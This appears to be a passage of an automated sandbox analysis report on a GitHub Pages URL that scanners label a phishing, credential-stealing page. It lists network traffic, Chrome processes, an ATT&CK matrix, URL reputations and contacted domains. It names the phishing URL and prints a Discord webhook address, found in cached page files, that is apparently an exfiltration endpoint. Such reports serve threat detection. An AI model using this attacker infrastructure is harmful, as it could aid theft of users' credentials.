Source: chromecache_206.2.dr	String found in binary or memory: https://twitter.com/icons_8
Source: sets.json.0.dr	String found in binary or memory: https://unotv.com
Source: chromecache_241.2.dr	String found in binary or memory: https://use.fontawesome.com/releases/v5.12.0/css/all.css
Source: sets.json.0.dr	String found in binary or memory: https://victorymedium.com
Source: sets.json.0.dr	String found in binary or memory: https://vrt.be
Source: sets.json.0.dr	String found in binary or memory: https://vwo.com
Source: sets.json.0.dr	String found in binary or memory: https://welt.de
Source: sets.json.0.dr	String found in binary or memory: https://wieistmeineip.de
Source: sets.json.0.dr	String found in binary or memory: https://wildix.com
Source: sets.json.0.dr	String found in binary or memory: https://wildixin.com
Source: sets.json.0.dr	String found in binary or memory: https://wingify.com
Source: sets.json.0.dr	String found in binary or memory: https://wordle.at
Source: sets.json.0.dr	String found in binary or memory: https://wp.pl
Source: sets.json.0.dr	String found in binary or memory: https://wpext.pl
Source: sets.json.0.dr	String found in binary or memory: https://www.asadcdn.com
Source: sets.json.0.dr	String found in binary or memory: https://ya.ru
Source: sets.json.0.dr	String found in binary or memory: https://yours.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://zalo.me
Source: sets.json.0.dr	String found in binary or memory: https://zdrowietvn.pl
Source: sets.json.0.dr	String found in binary or memory: https://zingmp3.vn

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49761 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3272_1292434547	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3272_1292434547\sets.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3272_1292434547\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3272_1292434547\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3272_1292434547\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3272_1292434547\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3272_1292434547\manifest.fingerprint	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\chrome_BITS_3272_1105913357

Jump to behavior

Source: classification engine

Classification label: mal64.phis.win@29/196@68/18

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2256,i,18392607891102522475,18317958788277072276,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://l9sa.github.io/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2256,i,18392607891102522475,18317958788277072276,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://l9sa.github.io/	100%	Avira URL Cloud	phishing
http://l9sa.github.io/	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label
https://wieistmeineip.de	0%	URL Reputation	safe
https://mercadoshops.com.co	0%	URL Reputation	safe
https://gliadomain.com	0%	URL Reputation	safe
https://mercadolivre.com	0%	URL Reputation	safe
https://nourishingpursuits.com	0%	URL Reputation	safe
https://mercadoshops.com.br	0%	URL Reputation	safe
https://johndeere.com	0%	URL Reputation	safe
https://fontawesome.com	0%	URL Reputation	safe
https://songstats.com	0%	URL Reputation	safe
https://supereva.it	0%	URL Reputation	safe
https://bolasport.com	0%	URL Reputation	safe
https://desimartini.com	0%	URL Reputation	safe
https://hearty.app	0%	URL Reputation	safe
https://hearty.gift	0%	URL Reputation	safe
https://mercadoshops.com	0%	URL Reputation	safe
https://heartymail.com	0%	URL Reputation	safe
https://p106.net	0%	URL Reputation	safe
https://finn.no	0%	URL Reputation	safe
https://hc1.com	0%	URL Reputation	safe
https://kompas.tv	0%	URL Reputation	safe
https://mystudentdashboard.com	0%	URL Reputation	safe
https://songshare.com	0%	URL Reputation	safe
https://smaker.pl	0%	URL Reputation	safe
https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js	0%	URL Reputation	safe
https://mercadopago.com.mx	0%	URL Reputation	safe
https://p24.hu	0%	URL Reputation	safe
https://mercadopago.com.pe	0%	URL Reputation	safe
https://cardsayings.net	0%	URL Reputation	safe
https://text.com	0%	URL Reputation	safe
https://mightytext.net	0%	URL Reputation	safe
https://hazipatika.com	0%	URL Reputation	safe
https://joyreactor.com	0%	URL Reputation	safe
https://cookreactor.com	0%	URL Reputation	safe
https://eworkbookcloud.com	0%	URL Reputation	safe
https://cognitiveai.ru	0%	URL Reputation	safe
https://drimer.travel	0%	URL Reputation	safe
https://deccoria.pl	0%	URL Reputation	safe
https://mercadopago.cl	0%	URL Reputation	safe
http://www.opensource.org/licenses/mit-license.php)	0%	URL Reputation	safe
https://bonvivir.com	0%	URL Reputation	safe
https://carcostadvisor.be	0%	URL Reputation	safe
https://salemovetravel.com	0%	URL Reputation	safe
https://welt.de	0%	URL Reputation	safe
https://drimer.io	0%	URL Reputation	safe
https://infoedgeindia.com	0%	URL Reputation	safe
https://blackrockadvisorelite.it	0%	URL Reputation	safe
https://cognitive-ai.ru	0%	URL Reputation	safe
https://cafemedia.com	0%	URL Reputation	safe
https://graziadaily.co.uk	0%	URL Reputation	safe
https://thirdspace.org.au	0%	URL Reputation	safe
https://mercadoshops.com.ar	0%	URL Reputation	safe
https://smpn106jkt.sch.id	0%	URL Reputation	safe
https://elpais.uy	0%	URL Reputation	safe
https://landyrev.com	0%	URL Reputation	safe
https://the42.ie	0%	URL Reputation	safe
https://mem.gfx.ms/scripts/me/MeControl/10.24086.4/en-US/meBoot.min.js	0%	URL Reputation	safe
https://commentcamarche.com	0%	URL Reputation	safe
https://tucarro.com.ve	0%	URL Reputation	safe
https://eleconomista.net	0%	URL Reputation	safe
https://helpdesk.com	0%	URL Reputation	safe
https://mercadolivre.com.br	0%	URL Reputation	safe
https://joyreactor.cc	0%	Avira URL Cloud	safe
https://l9sa.github.io/assets/css/styles.min.css	100%	Avira URL Cloud	phishing
https://baomoi.com	0%	Avira URL Cloud	safe
https://icons8.com/line-awesome	0%	Avira URL Cloud	safe
https://medonet.pl	0%	Avira URL Cloud	safe
https://reshim.org	0%	Avira URL Cloud	safe
https://client.hsprotect.net/PXzC5j78di/main.min.js	0%	Avira URL Cloud	safe
https://unotv.com	0%	Avira URL Cloud	safe
https://poalim.xyz	0%	Avira URL Cloud	safe
https://zdrowietvn.pl	0%	Avira URL Cloud	safe
https://elfinancierocr.com	0%	Avira URL Cloud	safe
https://github.com/twbs/bootstrap/graphs/contributors)	0%	Avira URL Cloud	safe
https://nlc.hu	0%	Avira URL Cloud	safe
https://rws1nvtvt.com	0%	Avira URL Cloud	safe
https://24.hu	0%	Avira URL Cloud	safe
https://talkdeskqaid.com	0%	Avira URL Cloud	safe
https://radio2.be	0%	Avira URL Cloud	safe
https://mem.gfx.ms/scripts/me/MeControl/10.24086.4/en-US/meCore.min.js	0%	Avira URL Cloud	safe
https://pudelek.pl	0%	Avira URL Cloud	safe
https://wildixin.com	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.5.0/js/bootstrap.bundle.min.js	0%	Avira URL Cloud	safe
https://chennien.com	0%	Avira URL Cloud	safe
https://nacion.com	0%	Avira URL Cloud	safe
https://github.com/douglascrockford/JSON-js	0%	Avira URL Cloud	safe
https://plus.google.com/	0%	Avira URL Cloud	safe
https://discord.com/api/webhooks/1148571982691053641/GtFJLiLbLplmA_5L5J7VxuFVyUYHT9PQS-KJXLqwu0D9ZHD	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.5.0/css/bootstrap.min.css	0%	Avira URL Cloud	safe
https://naukri.com	0%	Avira URL Cloud	safe
https://talkdeskstgid.com	0%	Avira URL Cloud	safe
https://twitter.com/icons_8	0%	Avira URL Cloud	safe
https://interia.pl	0%	Avira URL Cloud	safe
https://wpext.pl	0%	Avira URL Cloud	safe
https://sapo.io	0%	Avira URL Cloud	safe
https://poalim.site	0%	Avira URL Cloud	safe
https://github.com/twbs/bootstrap/blob/master/LICENSE)	0%	Avira URL Cloud	safe
https://icons8.com/good-boy-license/	0%	Avira URL Cloud	safe
https://rws3nvtvt.com	0%	Avira URL Cloud	safe
https://clmbtech.com	0%	Avira URL Cloud	safe
https://standardsandpraiserepurpose.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0016.t-0009.t-msedge.net	13.107.246.44	true	false	unknown
sni1gl.wpc.alphacdn.net	152.199.21.175	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
s-part-0045.t-0009.t-msedge.net	13.107.246.73	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
l9sa.github.io	185.199.109.153	true	false	unknown
s-part-0029.t-0009.t-msedge.net	13.107.246.57	true	false	unknown
s-part-0014.t-0009.t-msedge.net	13.107.246.42	true	false	unknown
inbound-weighted.protechts.net	35.190.10.96	true	false	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	unknown
www.google.com	216.58.206.68	true	false	unknown
stk.hsprotect.net	34.107.199.61	true	false	unknown
1220595937.rsc.cdn77.org	207.211.211.27	true	false	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	unknown
js.monitor.azure.com	unknown	unknown	false	unknown
signup.live.com	unknown	unknown	false	unknown
collector-pxzc5j78di.hsprotect.net	unknown	unknown	false	unknown
aadcdn.msftauth.net	unknown	unknown	false	unknown
logincdn.msftauth.net	unknown	unknown	false	unknown
mem.gfx.ms	unknown	unknown	false	unknown
use.fontawesome.com	unknown	unknown	false	unknown
client.hsprotect.net	unknown	unknown	false	unknown
c.s-microsoft.com	unknown	unknown	false	unknown
maxcdn.icons8.com	unknown	unknown	false	unknown
msft.hsprotect.net	unknown	unknown	false	unknown
support.content.office.net	unknown	unknown	false	unknown
login.microsoftonline.com	unknown	unknown	false	unknown
fpt.live.com	unknown	unknown	false	unknown
acctcdn.msftauth.net	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://l9sa.github.io/assets/css/styles.min.css	true	Avira URL Cloud: phishing	unknown
https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js	false	URL Reputation: safe	unknown
https://mem.gfx.ms/scripts/me/MeControl/10.24086.4/en-US/meCore.min.js	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.5.0/js/bootstrap.bundle.min.js	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.5.0/css/bootstrap.min.css	false	Avira URL Cloud: safe	unknown
https://mem.gfx.ms/scripts/me/MeControl/10.24086.4/en-US/meBoot.min.js	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://wieistmeineip.de	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadoshops.com.co	sets.json.0.dr	false	URL Reputation: safe	unknown
https://gliadomain.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://poalim.xyz	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://mercadolivre.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://client.hsprotect.net/PXzC5j78di/main.min.js	chromecache_295.2.dr	false	Avira URL Cloud: safe	unknown
https://reshim.org	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://nourishingpursuits.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://medonet.pl	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://unotv.com	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://mercadoshops.com.br	sets.json.0.dr	false	URL Reputation: safe	unknown
https://joyreactor.cc	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://icons8.com/line-awesome	chromecache_206.2.dr	false	Avira URL Cloud: safe	unknown
https://zdrowietvn.pl	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://johndeere.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://fontawesome.com	chromecache_235.2.dr	false	URL Reputation: safe	unknown
https://songstats.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://baomoi.com	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://supereva.it	sets.json.0.dr	false	URL Reputation: safe	unknown
https://elfinancierocr.com	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_224.2.dr, chromecache_273.2.dr	false	Avira URL Cloud: safe	unknown
https://bolasport.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://rws1nvtvt.com	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://desimartini.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://hearty.app	sets.json.0.dr	false	URL Reputation: safe	unknown
https://hearty.gift	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadoshops.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://heartymail.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://nlc.hu	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://p106.net	sets.json.0.dr	false	URL Reputation: safe	unknown
https://radio2.be	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://finn.no	sets.json.0.dr	false	URL Reputation: safe	unknown
https://hc1.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://kompas.tv	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mystudentdashboard.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://songshare.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://smaker.pl	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadopago.com.mx	sets.json.0.dr	false	URL Reputation: safe	unknown
https://p24.hu	sets.json.0.dr	false	URL Reputation: safe	unknown
https://talkdeskqaid.com	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://24.hu	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://mercadopago.com.pe	sets.json.0.dr	false	URL Reputation: safe	unknown
https://cardsayings.net	sets.json.0.dr	false	URL Reputation: safe	unknown
https://text.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mightytext.net	sets.json.0.dr	false	URL Reputation: safe	unknown
https://pudelek.pl	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://hazipatika.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://joyreactor.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://cookreactor.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://wildixin.com	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://eworkbookcloud.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://cognitiveai.ru	sets.json.0.dr	false	URL Reputation: safe	unknown
https://github.com/douglascrockford/JSON-js	chromecache_303.2.dr, chromecache_209.2.dr	false	Avira URL Cloud: safe	unknown
https://nacion.com	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://chennien.com	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://discord.com/api/webhooks/1148571982691053641/GtFJLiLbLplmA_5L5J7VxuFVyUYHT9PQS-KJXLqwu0D9ZHD	chromecache_288.2.dr, chromecache_281.2.dr	false	Avira URL Cloud: safe	unknown
https://drimer.travel	sets.json.0.dr	false	URL Reputation: safe	unknown
https://deccoria.pl	sets.json.0.dr	false	URL Reputation: safe	unknown
https://twitter.com/icons_8	chromecache_206.2.dr	false	Avira URL Cloud: safe	unknown
https://mercadopago.cl	sets.json.0.dr	false	URL Reputation: safe	unknown
https://plus.google.com/	chromecache_206.2.dr	false	Avira URL Cloud: safe	unknown
https://talkdeskstgid.com	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://naukri.com	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
http://www.opensource.org/licenses/mit-license.php)	chromecache_303.2.dr, chromecache_209.2.dr	false	URL Reputation: safe	unknown
https://interia.pl	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://bonvivir.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://carcostadvisor.be	sets.json.0.dr	false	URL Reputation: safe	unknown
https://salemovetravel.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://sapo.io	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
https://wpext.pl	sets.json.0.dr	false	Avira URL Cloud: safe	unknown
